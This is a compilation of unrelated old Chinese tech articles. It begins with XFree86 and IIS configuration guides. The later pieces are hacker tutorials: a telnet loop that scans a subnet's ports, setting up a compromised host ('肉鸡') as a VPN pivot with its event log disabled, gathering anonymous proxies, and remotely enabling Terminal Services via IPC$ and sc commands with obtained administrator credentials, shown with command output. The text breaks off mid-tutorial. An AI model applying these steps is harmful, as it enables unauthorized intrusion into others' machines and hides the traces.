使用的时候会有问题! 当你在使用Xwindow时如果mouse不听话的话, 你可以再做
一次mouse的设定!

接下来它会问你你的mouse的device档是那一个, 用预设的/dev/mouse就可以了!
当你的滑鼠不听话的时候, 你可以先确定一下/dev/mouse是否link到正确的档案!

(4)设定keyboard:
在设定完mouse後, 它会问你关於keyboard的设定:

Please answer the following question with either 'y' or 'n'.
Do you want to enable these bindings for the Alt keys?

直接按Enter跳过就行了!

(5)设定萤幕:
开始进入重要的部份了. 你一开始会看到下面的选项:

It is VERY IMPORTANT that you do not specify a monitor type with a
horizontal
sync range that is beyond the capabilities of your monitor. If in doubt,
choose a conservative setting.

hsync in kHz; monitor type with characteristic modes
1 31.5; Standard VGA, 640x480 @ 60 Hz
2 31.5 - 35.1; Super VGA, 800x600 @ 56 Hz
3 31.5, 35.5; 8514 Compatible, 1024x768 @ 87 Hz interlaced (no 800x600)
4 31.5, 35.15, 35.5; Super VGA, 1024x768 @ 87 Hz interlaced, 800x600 @ 56
Hz
5 31.5 - 37.9; Extended Super VGA, 800x600 @ 60 Hz, 640x480 @ 72 Hz
6 31.5 - 48.5; Non-Interlaced SVGA, 1024x768 @ 60 Hz, 800x600 @ 72 Hz
7 31.5 - 57.0; High Frequency SVGA, 1024x768 @ 70 Hz
8 31.5 - 64.3; Monitor that can do 1280x1024 @ 60 Hz
9 31.5 - 79.0; Monitor that can do 1280x1024 @ 74 Hz
10 Enter your own horizontal sync range

Enter your choice (1-10):

此时请拿起你先前准备的资料比对上面的选项, 如果有一样的数据的就选那一项,
如果找不到的话, 就请按输入"10", 输入自己萤幕的水平扫描频率!

接下来就是设定垂直扫描频率了:

You must indicate the vertical sync range of your monitor. You can either
select one of the predefined ranges below that correspond to industry-
standard monitor types, or give a specific range. For interlaced modes,
the number that counts is the high one (e.g. 87 Hz rather than 43 Hz).

1 50-70
2 50-90
3 50-100
4 40-150
5 Enter your own vertical sync range

同样的, 如果有相同的就输入该选项的代码. 若没有的话,就选5然後输入自己
的参数. 特别要提醒的是, 如果设定完之後, 执行Xwindow萤幕却乱掉了. 不妨
重新设定你的垂直扫描频, 从1,2,3的选项中挑一个range比你小却最接近你的选项.

然後它会问你要一些厂牌, 或是萤幕的型号的资料料, 随便输入就可以了!

(6)设定显示卡:
接下来就是最重的重头戏了! 首先它会问你要不要看看内建的一些card的资料!
要不要随便你! 反正最後还是要做相同的设定的!在这里我们就选不要了!

再下来它会问你你的显示卡是哪一类的:

1 The XF86_Mono server. This a monochrome server that should work on any
VGA-compatible card, in 640x480 (more on some SVGA chipsets).
2 The XF86_VGA16 server. This is a 16-color VGA server that should work on
any VGA-compatible card.
3 The XF86_SVGA server. This is a 256 color SVGA server that supports a
a number of SVGA chipsets. It is accelerated on some Cirrus and WD
chipsets; it supports 16/32-bit color on certain Cirrus configurations.
4 The accelerated servers. These include XF86_S3, XF86_Mach32, XF86_Mach8,
XF86_8514, XF86_P9000, XF86_AGX, XF86_W32 and XF86_Mach64.

These four server types correspond to the four different "Screen" sections
in
XF86Config (vga2, vga16, svga, accel).

Which one of these screen types do you intend to run by default (1-4)?

请选择你自己的卡相同的就行了!也就是如果你是ET4000的, 就选3. 如果你是S3
系列的就选4, 下面我将以S3为□例继续做下去! 其他的都是大同小异!

接下来它会问你要不要做symbol link的动作! 请选Y

Please answer the following question with either 'y' or 'n'.
Do you want me to set the symbolic link?

然後它会问你:

Do you want to set it in /var/X11R6/bin?

当然回答Y了

再下来是问你要和那一个server程式做link:

Select an accel server:

1 XF86_S3
2 XF86_Mach32
3 XF86_Mach8
4 XF86_8514
5 XF86_P9000
6 XF86_AGX
7 XF86_W32
8 XF86_Mach64

Which accel server:

在这个□例里我们选 1

然後它会问你的显示卡上有多少ram :

How much video memory do you have on your video card:

1 256K
2 512K
3 1024K
4 2048K
5 4096K
6 Other

Enter your choice:

我以S3 864为例, 它上面有2MB的ram. 所以选4 !

然後又是要你输入厂牌和型号, 随便给它几个英文字就可以了!

接下来是S3和AGX的显示卡所特有的RAMDAC chip的设定...

The RAMDAC setting only applies to the S3 and AGX servers. Some RAMDAC's are
auto-detected by the server. The detection of a RAMDAC is forced by using a
Ramdac "identifier" line in the Device section. The identifiers are shown
at the right of the following table of RAMDAC types:

1 AT&T 20C490 (S3 server) att20c490
2 AT&T 20C498/21C498/22C498 (S3) att20c498
3 AT&T 20C505 (S3) att20c505
4 BrookTree BT481 (AGX) bt481
5 BrookTree BT482 (AGX) bt482
6 BrookTree BT485/9485 (S3) bt485
7 Sierra SC15025 (S3, AGX) sc15025
8 S3 GenDAC (86C708) (autodetected) s3gendac
9 S3 SDAC (86C716) (autodetected) s3_sdac
10 STG-1700 (S3) stg1700
11 TI 3020 (S3) ti3020
12 TI 3025 (S3) ti3025
13 Normal DAC normal

Just press enter if you don't want a Ramdac setting.
What Ramdac setting do you want (1-13)?

请依照你实际的卡上所装置的RAMDAC来选择!

在下来就是最讨厌的Clock chip的设定了,

A Clockchip line in the Device section forces the detection of a
programmable clock device. With a clockchip enabled, any required
clock can be programmed without requiring probing of clocks or a
Clocks line. Most cards don't have a programmable clock chip.
Choose from the following list:

1 Chrontel 8391 (uncertain at the time of writing) ch8391
2 ICD2061A and compatibles (ICS9161A, DCS2824) icd2061a
3 ICS2595 ics2595
4 ICS5342 (similar to SDAC, but not completely compatible) ics5342
5 S3 GenDAC (86C708) and ICS5300 (autodetected) s3gendac
6 S3 SDAC (86C716) s3_sdac
7 Sierra SC11412 sc11412
8 TI 3025 ti3025

Just press enter if you don't want a Clockchip setting.
What Clockchip setting do you want (1-8)?

为什麽我要说最讨厌呢??因为通常说明书上都不会有这颗chip的型号! 把卡拿起
来看也不一定找得到! 如果真的不知道是那一颗的的话, 就只好用猜的了!!我都
猜2, 不然就是5或者是6.....总之, 最好能够确定. 如果不得已要用猜的.....
希望上帝保佑, 别把萤幕给烧了!

接下来是做测试, 以便抓到正确的clock. 不过这对有clock chip的卡而言, 却是
多馀的. 所以它也不会帮你做test. 只有没有clock chip的卡会做test!

(7)选择显示模式:
接下来就是要选择显示模式:

For each depth, a list of modes (resolutions) is defined. The default
resolution that the server will start-up with will be the first listed
mode that can be supported by the monitor and card.
Currently it is set to:

"640x480" "800x600" "1024x768" "1280x1024" for 8bpp
"640x480" "800x600" "1024x768" for 16bpp
"640x480" "800x600" for 32bpp

Note that 16bpp and 32bpp are only supported on a few configurations.
Modes that cannot be supported due to monitor or clock constraints will
be automatically skipped by the server.

1 Change the modes for 8pp (256 colors)
2 Change the modes for 16bpp (32K/64K colors)
3 Change the modes for 32bpp (24-bit color)
4 The modes are OK, continue.

Enter your choice:

你可以根据你的卡及你所想要的显示模式来做选择. 一般而言, 以256色为最
普通的选择. 故在此我们选1 .

紧接著它会要你输入你所想要的显示模式:

Select modes from the following list:

1 "640x400"
2 "640x480"
3 "800x600"
4 "1024x768"
5 "1280x1024"
6 "320x200"
7 "320x240"
8 "400x300"

Please type the digits corresponding to the modes that you want to select.
For example, 432 selects "1024x768" "800x600" "640x480", with a
default mode of 1024x768.

Which modes?

Xwindow允许你在执行其间切换显示的解析度! 你所能切换的解析度, 就是你现在
所选择的, 假设我们的配备都不错我们可以输入54321, 这样我们就有五种解析度
可供选择!!其中第一个选的就是一开始进入Xwindow的预设的解析度! 不过要注意
的是!\未必你所选的解析度就一定会出现. 这要看你的配备是否配合!! 你可以在
进入Xwindow後,按ctrl-alt-'+'或ctrl-alt-'-'来做切换!

选好之後会回到选前一个选择显示模式的选单, 此时选第四项
'4 The modes are OK, continue.'就可以了!!

(8)选择设定档名称:
接下来它会问你要不要将设定写入正确的的设定档, 选YES就可以了..

I am going to write the XF86Config file now. Make sure you don't accidently
overwrite a previously configured one.

Shall I write it to /etc/XF86Config?

(9)OK!!
终於完成了!!很累吧??现在就是成果揭晓的时刻了, 输入startx或者是openwin
如果都没什麽问题的话, 你就可以看到Xwindow了!!当你进入Xwindow後你可能会
发现你的画面可能会偏掉! 这时你可以先开一个xterm, 然後执行vgaset这支程式
, 你会看到你目前的Xwindow的一些显示参数!!此时你可以按'R'来将画面往左移,
按'r'来往右移!按'B'将萤幕往上移'b'往下移! vgaset还可以调整其他的参数.
详细的用法请自行参阅vgaset的man page. 当你调整好之後, 别忘了把参数抄下
来, 把在XFconfig中所对应的原来的参数换成调整过的!!你可能会在XFconfig
看到一大堆的Modeline, 而不知道哪个才是对应到你用的. 我的方法是: 假设
我抄了1024x768的参数下来!!我就把在XFconfig中的Modeline是1024x768的全部
都换成调整过的!!此法虽然有点暴力, 但是却相当有效!!


安全启动时所启动的服务列表在注册表中的位置

当系统启动到“安全模式（Safe Mode）”和“命令行安全模式（Safe Mode with Command Prompt）”时，所启动的服务列表可以在下面的注册表键得到：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal

当系统启动到“有网络的安全模式（Safe Mode with Networking）”时，所启动的服务列表可以在下面的注册表键得到：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network


安全维护 IIS asp 站点的高级技巧

一:前言
（仅以此文感谢好友bigeagle。不是他，我可能不用这么担心win2000安全问题的。呵呵！）

人说，一朝被蛇咬，十年怕.....。就是这样。2000年初，当我终于摆脱winnt 4.0 server那可怕的补

丁之旅，迈向win2000 server时。我终于可以比较放心我的服务器了。但随着sp1的补丁出现。我知道，

与微软的补丁因缘又开始轮回了。但还好。win2000自动化的管理还是让我放心好多，而以前管理winnt后

的失眠症状也逐渐消失了。偶尔还能见到我的“梦”老弟。但这一切都伴随者同bigeagle的一次知心交谈

中付之东流了。一次。bigeagle发来qq。给我看了一段代码。我一看就知道这不是bigeagle写的代码，那

么烂，不过有点熟悉。再一看。啊？！这不是我的数据库连接字符串吗！！GOD。顿时觉得有一种不祥的

预兆。不过还好，这个只是个access的，我还用了一些手段防止他被下载。但这足以让我长时间的失眠又

来了。（再次说明，bigeagle不是蛇，他是鹰）

二：安装过程中的IIS 与 asp安全防护。（这里只考虑是web服务器，而不是本地机子上的web开发平台。

）

接下来的几天有是几个难熬的日子。我开始重新部署win2000 web服务器的安全策略。

找到asp代码被泄漏的原因，原来。我的补丁每次打得都比较及时的。但一次因为卸载FTP时，重装了

IIS，而这之后，我并没有再打补丁而导致最新的漏洞web解析出错。（就是那个较新的漏洞 Translate

:f 用这个加上一些工具就可以看到asp的代码了。）
首先，开始重装IIS。
这次安装的策略就是安全，够用。去掉一些多余的东西。
一：FTP不要安装了，功能不好，还容易出错，并且漏洞很大。Ftp缺省传输密码的过程可是明文传送

，很容易被人截获。（可以考虑用第三方工具。）
二：一切实例、文档也不要安装了。这是在web服务器上，最好不要这些例子，事实证明可以从这些例

子站点突破IIS的防线的。

三：安装时选择站点目录，建议不要用缺省目录c:\inetpub，最好安装道不是系统盘的盘上。如：

d:\IISWEB，可以考虑自建目录。这样即使IIS被突破，也能尽可能的保护好系统文件了。

四：不要安装html的远程管理。html的远程管理在winnt 4.0还能用的上，但漏洞比较大，而且比较危

险，端口号虽然是随机的，但很容易被人扫描道，从而留下隐患。事实上，我们可以通过另一台服务器上

的IIS来管理他。这样比较安全。

五：多余的服务也不要安了，如NNtp，如果不做新闻组。就不要安了。smtp，如果有更好的邮件服务

，也不要装他了。

六：索引服务器。这个索引真的是很有用，但我没有用过他。否则，你可以用他建立个整个站点的文

件搜索的，但现在好像大多数的asp网页都是一个网页，动态从数据库里查询。所以根本用不上索引服务

器了，（不是索引不好，而是本身上面的那种asp文件结构就不适合）所以可以不要安装。

三:有目的进行安全配置。

一：开发前的工作。

首先，启动IIS后，看有没有\iissamples,\IIShelp,\msadc\,这些目录，如果有，他们大多是用来作为

例子，帮助安装的，删掉他们，再把脚本库也删掉，直到web目录只留下干静的新建的虚拟目录即可,如果

有管理的web站点，也删掉他。没有他，我们一样可以工作的更好。 还有看看有没有printer的文件夹，

他们大多数都是些通过web来访问打印机的。MS就是怪。为了表示我的功力强大，允许通过web来远程打印

。相信没有哪个网络公司是通过web网来打印的把。也不可能让网友来使用你的计算机吧。那好，去掉他

。

然后。开始详细配置各个web虚拟目录的安全。大概的策略是这样的。

分类每个文件夹管理，如，可以吧扩展名是相同的分配到同一目录，如*.asp的，和*.inc就尽量分开

。如果是*.asp的，则开放虚拟目录权限，但将实际目录权限授予administrator,system(完全控制）

everyone (rc)即可。这样可以通过web允许读取。但实际上你可以加大安全力度，如果你认位他是比较保

密的。如果是*.inc的，则开放目录权限，但不允许通过直接访问。这里又一个技巧了。比如。你可以允

许实际目录被everyone访问，但在IIS中，你把改目录浏览项去掉，则改包含文件只能被源文件读取，但

不允许被直接读许。这样，他就不可能下在倒一些你的单机数据库了。而且你的*.inc文件也不会被浏览

器直接阅读。
刚才我的老弟“梦”还在问我，有没有办法可以让别人看不到你的连接字符串，你可以试试下面的方法

！
1 首先建立连接字符串，并建立一个单独的文件*.inc（要是*.inc的，不要*.asp的）你把你的连接字

符串用变量复制进来。
如：connstr=""Provider=SQLOLEDB.1;Password=passw;...................."
2 然后建立一个文件夹include，放在根目录里。
3 然后每一个文件用下面的办法打开连接。
如：<!-- #include file="include\*.inc" -->
set conn=server.createobject("adodb.connection")
conn.open connstr

4 最后在iis里把include 文件夹用拒绝读的方法保护起来。你会发现，你的连接可以照常打开，但是

如果对方看到你的源代码，他也看不到连接字符串，即使他看到了包含文件路径及名称。他也无法下载，

或是用ie 打开。所以，可以保护你的连接字符串了。

这里用的方法是Nt 权限与 IIS权限的共同审核。我们知道，为了让用户从web上访问道服务器的文件

，每个安装了IIS后的服务器都会有两个内置账号。I_USExxxxxx，I_WAMxxxxxx（x为你的机器名），这样

你就可以有的放矢的防治某些从你的web网络查看你的必要信息的用户了。

当然，还有一些比较好的文件策略你可以参考一下：
如：CGI (.exe, .dll, .cmd, .pl)Everyone (X)不允许读去，运行。Administrators（完全控制）
System（完全控制）
所以，你在编写asp应用程序时，尽量归类好你的目录。方便用IIS和NT进行管理。
如。采用下列结构比较好
d:\web\asptest\static (放置*.htm)
d:\web\asptest\script (放置*.asp)
d:\web\asptest\include(放置*.inc)
d:\web\asptest\images (放置*.gif,*.jpg)
这样你就可以用上面的方法来达到安全目的了。

二：启用日志监测。

这是亡羊补牢的好工具，至少你可以用它来监测谁通过webl干了什么，当然，你还要保护该日志的权限只

能是被系统管理员。和超级管理所控制。这样避免某些人的干了某些事而不留痕迹。为了留好现场而又不

影响IIS的响应速度。还是建议选则w3c扩展日志格式比较好。（以前别人介绍我用ODBC，看来比较方便，

但实际上不是这样。他受到数据库的影响很大。而且速度较慢了）。
可以考虑纪录下一下现场数据：
客户 IP 地址
用户名
方法
URI 资源
HTTP 状态
Win32 状态
用户代理
服务器 IP 地址
服务器端口

如果在一台计算机上有多个 Web 服务器，则后两种属性非常有用。Win32 状态属性对于调试非常有用。

检查日志时，密切注意错误 5，这意味着访问被拒绝。在命令行上输入 net helpmsg err，可找出其它

Win32 错误的含义，其中 err 是要查找的错误号。

三：配置合适的脚本映射。

相信我，大部分的asp源代码泄漏都是通过不安全，或是有错误的脚本映射导致的。而他们中的大多数

可能你用不到。如下面我说的。

1 *.htr这是一个比较厉害的文件，他是web应用程序的一种。同hta一样。这是些比较厉害的功能，但

介绍很少。hta就是一种html 格式的 application，功能比较强大。切安全性比htm要低。所以可能会导

致功能强大的操作。比如htr就可以通过web来重社密码。相信我们大多数的asp程序员和NT网管不需要这

个把。那好，把他的对应选项删掉好了。否则，任何人都可以通过你的web来进行非法操作，甚至格式化

掉你的硬盘。

2 *.hta 这个我已经说过了，他是把双刃剑，用的好，你可以通过他来访问nt的很多操作，在asp上开

nt用户也是可能的。但大多数的工作可以不通过web来事最好的。而*.hta在web很少用到，虽然他在

iis4.0就推出了。比如，你把一个文件保存成*.hta，你就可以用ie打开。看看，很奇怪的界面吧。听ms

的工程师说.net中吧*.hta换了个说法，功能加大了。看来网管的工作又该加大了。如果你想安全一些。

删掉吧。

3 *.idc 这个东东是个比较老的数据库连接方法了，现在大多数都直接用asp文件。不用idc了，所以删

掉他。

4 *.printer这个是打印机文件。去掉他好了

5 *.htw , *.ida *.idq这些都是索引文件，也可以去掉了。

四：好的安全习惯。

账号策略，密码策略
这些其实都在我的前两片贴子贴过了。，等等，感兴趣的可以看看相关文章。
另外。还要注意要多上ms的站点，看看安全公告。（MS的访问量就是这样长期排行世界前三的！）
还要准备好一些第三方的工具。如扫描工具，模拟攻击工具。多上安全站点看看。
如果你可以交道一些比较好的黑道朋友（我另一个师兄家家的方法），也是比较好的。（黑道是黑客走

的路！）

五：防止asp代码被泄漏。

这里只能说是防止，我只有从已经发现的看asp方法的漏洞入手，现在对于iis4.0则几乎有20种以上的

办法，但安装了sp6a后有两种，可以到微软的网站安全公告下载2000-8月后的补丁可以解决。但如果你用

了本文上面的方法。可以装到sp6就可以了。

如果是win2000 server，则有两种方法。安了sp1后，还有一种，所以你必须倒微软安全公告栏去下载

相应的hotfix。可以解决。

六：防止恶意的破坏。

这个功能能对付一些被你监测到的不良分子，你可以在日志中、或第三方工具看到到底是谁在不停的探

测、破坏你的IIS，那么把他列为不收欢迎的黑名单，这样，你再配置站点时可以对其IP,或域进行拒绝访

问，不过这一过程是要付出代价的，你的IIS要担任反向查找的功能。可能会比较耗时。

六： 安全的话题。
以上还只是IIS与asp的。如果你要用道数据库。用道远程管理，用道远程连接数据库。那还要分别注

意。正如我说的。没有绝对的安全。而这也才是安全的需要。关于安全的话题，没有结束，只有待续。。

——————————


不能本地登录系统的一种解决办法

文章来源：中文NT资源网[http://www.AboutNT.com]
版权信息：原创、编译的文章版权归本站所有，如有引用请与中文NT资源网[http://www.AboutNT.com]站长联系。
其它信息：中文NT资源网[http://www.AboutNT.com]为个人网站，站长沧海笑一声，Email:zhuqs@163.com

内容:

编译:沧海笑一声

描述:
如果你不小心在本地安全策略中拒绝everyone本地登录计算机,那当你企图本地登录基于windows2000的计算机时,无论你是管理员账户还是普通用户,你都会收下面的错误消息:
The local policy of this system does not permit you to logon interactively.(系统本地策略不允许你进行交互式登录!)

永远不进行本地登录是不可能的,因此我们必须寻找一个解决的办法.

我们可以这样做:
1.通过其它计算机远程连接到有问题的win2000的C$管理性共享.
2.打开%Systemroot%\Security\Database 文件夹.
3.将Secedit.sdb文件改名.
4.如果该机器是windows 2000 server,则从其它windows2000 server机器上重新复制一个Secedit.sdb到有问题的机器上;如果是win2000 pro,则从其它win2000 pro机器重新复制一份Secedit.sdb.
5.重新启动有问题的计算机,问题即可解决.

分析:
Secedit.sdb文件存放了本地安全策略的一些设置,因为用最初的Secedit.sdb文件代替现在的Secedit.sdb文件可以方便的将本地安全策略设置到缺省状态.

另外可以使用resource kit tools中的Ntrights.exe工具远程设置权限,该工具介绍如下:

NTRights.Exe - Beta Version by Georg Zanzen
Grants/Revokes NT-Rights to a user/group
usage: -u xxx User/Group
-m \\xxx machine to perform the operation on (default local machine)
-e xxxxx Add xxxxx to the event log
-r xxx revokes the xxx right
+r xxx grants the xxx right
valid NTRights are:
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeUnsolicitedInputPrivilege
SeMachineAccountPrivilege
SeTcbPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege


不需要任何工,dos命令扫描一个网段的全部端口

在win2000下开一个dos窗口，然后执行
for /l %a in (1,1,254) do start /min /low telnet 192.168.0.%a 3389
这样192.168.0.x这个段的所有开放3389端口得主机都会暴露
这条命令执行后
会在任务栏开254个小窗口
然后telnet链接失败的窗口会在大约5秒后自动退出
剩下的窗口就是相对应开放端口的主机了
看一下小窗口的标题可以得知主机的ip地址
如果你觉得机器性能很好的话 可以把/low参数去了

现在扫描一台主机的多个端口，如下
for /l %a in (1,1,65535) do start /low /min telnet 192.168.0.1%a
这样就扫描192.168.0.1的1到65535端口

现在扫描一个网段的所有端口
for /l %a in (1,1,254) do for /l %b in (1,1,65535) do start /low/min telnet 192.168.0.%a %b
这样就会扫描192.168.0.x段的全部1到65535段口

以上命令只能在win2000下使用，因为/l累加参数是win2000对for的扩展
当然winXP和win.NET都可以用，winME我没有试过，因为没有winME的机器 {转载}


菜菜“永远的跳板”之--看图说话篇^_^

声明：

写本文主要得益于流光论坛网友“我最老实”写的同名帖子！自从看了这篇帖子后
我就不停的找肉鸡试验，这几个月下来我一直在做这个试验。现将本人的一点心得记下供大家参考！大家千万不要拿国内的主机试验！第一我觉
得没什么含义，再就是因为极易给主机造成直接的经济损失！我是没做过国内的！
切记！！！

我也不多说啦，相信没人想去吃公粮哦:-) 好啦，GO~开工先！

服务端设置（指肉鸡）：

一：路由服务：

开启“路由及远端存取”图1（注：简体中文操作系统应该是“路由和远程访问”，

以下都是用繁体中文操作系统来说明，请大家自己对照）

--设定和启用路由及远端存取图2

--右键--选中远端存取伺服器图3

--设定进阶的远端 存取伺服器图4

--是，所有需要的通讯协定都是这个清单上图5

--从指定的范围的位置图6

--新增图

--图8（这个地方起始IP地址要用主机的IP，至结束IP地址不要用太多，
最好是几个或者是十个）

否，我不想现在设定这台伺服器来使用RADIUS，这是图9

啦，后面有几个提示你一直按确定就OK，图

二：权限：

在用户管理器里，选中你想使用的用户后点拔入图12（我是选中guest，不一定非得
admin组）

允许存取图

13。好

的，权限设置OK。

注意安全：在肉鸡的路由右键属性里点“事件记录”，选取“停用事件记录”图23
客户端设置（本机）：

打开“网络和拨号连接”图

新建连接图

通过INTERNET拔号到专用网络图

-- 选中你的拔号ISP，图

目标地址就把肉鸡的IP填上图

随便取个好记的名称图

双击刚创建的连接，填入在肉鸡上设置的有拔入权限的用户名和密码图

点连接 后就行了图

呵呵，大功告成！
根据我的经验，有些机器可能不行，我也说不出是什么道理。唉，谁叫咱菜呢:-)你多试几个一定会有成功的。

上面有哪儿不对请指教，

指教请用MSN Messenger和EMAIL：czlwh0724@hotmail.com

灰色轨迹 菜虫之 无雪 2002年4月18日写


菜鸟教程之proxy篇

1 首先你要找到很多代理服务器，几百，或上千，有很多网站提供！下面会给你们地址^_^

2 找到后，保存为一个txt文件。然后用ad(access diver)。
在my skill-->proxy mode-->proxy analyzer
选load ur own proxy list,然后选你刚才保存的txt文件。导入后，选择最下面的parameter把第1项和第4项打勾，紧接着它边上的proxyjudge setting ，在del level里把 4 和5打勾。这几项打勾的目的是自动删除不好用和安全性低的代理。

3 开始检测，点speed/accuracy tester,，然后到冰箱里取一杯露露，甜甜喝一杯，等结果。出来后，提示你是否删除没用的代理，点确定。点一下accuracy，然后会自动排序，把除了ok的 ，象OK#0" "Bad Gateway" "Can't Connect,等全部删除。

4 然后在parameter里，在五个地址里就选一个打勾，我选第一个，你们随便。点Confidentiality，开始测试安全性。测完后，点一下Anonymous，把除了level=1 level=2 level=3 的全部删除。保存为一个txt文件

5 因为这些代理有重复的，所以你需要过滤，打开raptor，打开你刚才保存的txt文件选Remove Duplicates，点右边的Remove Duplicates，好了，重复的过滤掉了，保存。

至此，属于你的代理服务器就出来了。在你最后保存的txt文件里。在这里有几点需要说明，我曾经在浏览论坛时用过代理，可还是显示自己的ip,后来才知道，用过的代理必须的是Anonymous（匿名的)，才能不显示你的真实ip,或者说你浏览网站时不会留下你的足迹而是留下代理的ip。以上几步可以使你找到你自己的proxy. enjoy!!

记住，时常更新你的代理，因为代理并不是总保持不变。 过几天我会教你怎样破xxx网^_^ 不是用流光 ！
my email： write2me2008@hotmail.com qq:4545525 希望会玩ad的朋友和我联系^_^。

相关网址，proxy: http://www.multiproxy.org/all_list.htm
raptor http://www.wi11ie.com/windoze/raptor.zip
ad http://www.accessdiver.com/download/ad4.76.exe


菜鸟使用SC远程启动终端服务的误区

by wawa 2002.01.13
http://haowawa.126.com

大家都应该看过这篇的文章
------------------------------------------------------------------------------------------
C:\>net use \\xxx.xxx.xxx.xxx\ipc$ "password" /user:"name"

第一步，检查对方是否真的禁用了Terminal server

C:\>sc \\xxx.xxx.xxx.xxx qc termservice
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: termservice
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 4 DISABLED
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Terminal Services
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

仔细看 START_TYPE一项，显示对方该服务的启动模式为“DISABLED”也就是“禁用”。

第二步，更改对方终端服务的启动模式

C:\>sc \\xxx.xxx.xxx.xxx config termservice start= auto

[SC] ChangeServiceConfig SUCCESS

好了，现在我们已经把对方终端服务的启动模式修改成自动了。

第三步，再检查一便对方终端服务的启动模式（.abu.:呵呵，习惯问题）

C:\>sc \\TEST qc termservice
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: termservice
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Terminal Services
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

仔细看 START_TYPE一项，显示对方该服务的启动模式为“AUTO_START”也就是“自动”。

OK
第四步，启动对方的终端服务

C:\>sc \\xxx.xxx.xxx.xxx start termservice

SERVICE_NAME: termservice
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530

C:\>sc \\xxx.xxx.xxx.xxx query termservice

SERVICE_NAME: termservice
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

到这里，对方的终端服务就被你启动了。命令行方式下哦。呵呵
---------------------------------------------------------------------------

这是一篇很好的解决终端服务termservice在"管理工具">>>"服务"中被禁用的好办法.
但是,这里有个前提,就是终端服务组件必须已经正确安装,
如何判断呢?我在另一篇文章里已经讲了.远程开启3389终端服务(菜鸟篇)

如果终端服务组件没有安装
还要以"用Sc看到status是stopped的，使用sc将其启动变为auto"
就认为服务已经启动,那就错了!
新手会经常出现这个问题,我也经常在论坛看到此类帖子.

如果没有安装服务组件,一样可以
sc config termservice start= auto
sc start termservice

再看:
sc query termservice
SERVICE_NAME: termservice
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING //没有runing,而是正在启动状态(未决)
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0

在这时,服务是不可能真正启动的,因为终端服务组件并没有安装,
虽然你用SC看到了服务状态,但你是肯定连不上的.
这样而且会在重起时出现服务错误,不信,你可以在他重起后,远程连到计算机管理,
查看"事件查看器"===>"系统",你会发现 "terminal services 服务在启动时暂停"的描述

所以,在使用SC远程启动服务时,要首先判断终端服务组件已经安装,而且确实是在"服务"中
被禁用的,才可以成功运用此方法.
远程开启3389终端服务(菜鸟篇)

by wawa 2002.01.13
http://haowawa.126.com

得到了一台主机的管理员权限,但我们失望的发现这台主机并没有安装3389终端服务组件,
是不是有些懊丧呢?别急,下面我们一起来探索一下远程开启3389的方法.

首先我们应该了解3389终端服务,可以运行在什么系统下,个人了解,终端服务在M$的大部分
产品中都可运行,如:winnt4/win2000server/win2000ADV-server/win2000DS/XP等.
但winnt4中是需要单独购买的,2000专业版不能远程安装终端服务的,至少我没成功过.
我们在以下的探索中,是以win2000server和高级server为例的.(现在用的也最多).

现在开始.

假设我们拿到了一个主机的管理员帐户和密码.
主机: 192.168.0.1
帐号: administrator
密码: 7788
2000系统安装在c:\winnt下

从上面的的介绍可以知道,2000专业版是不可以远程安装终端服务的,那我们就要首先来
判断此主机是专业版还是服务器版,才能进入下一个环节.

我们可以先用对方所开帐户判断:

c:\>letmein \\192.168.0.1 -all -d
stating connecting to server ...
Server local time is: 2002-1-13 10:19:22
Start get all users form server...
--------------------------
Total = 5
--------------------------
num0= Administrator ()
num1= Guest ()
num2= IUSR_servername (Internet 来宾帐号 )
num3= IWAM_servername (启动 IIS 进程帐号)
num4= TsInternetUser (TsInternetUser)
--------------------------
Total = 5
--------------------------

一般情况num2/3/4这三个帐户都是2000server默认开启的.
2000专业版默认是不开这些帐户的.

我们也可以扫描对方开放的端口进一步确认:
用扫描软件如uperscan3.exe扫描对方所开端口
判断对方是否开启25,3372等2000server默认开启的端口.

当然我们还可以使用一些工具,如:cmdinfo.zip
这2个东东可以获得本地或远程NT/2K主机的版本,系统路径,源盘路径,PACK版本,安装时间等一
系列信息,一个图形界面,一个命令行.
通过返回的信息就可以很清楚的了解对方主机情况.

还有一些其他的方法来判断,如:从对方所开的服务来确定等,
从上面的判断准确率还算高,别的就不一一说明了.

如果你在以上步骤里发现对方主机并没有那3个帐户,默认端口也没开,
或cmdinfo返回的信息对方是2000专业版,你就要放弃安装3389的计划了.

现在我们要进入下一环节:
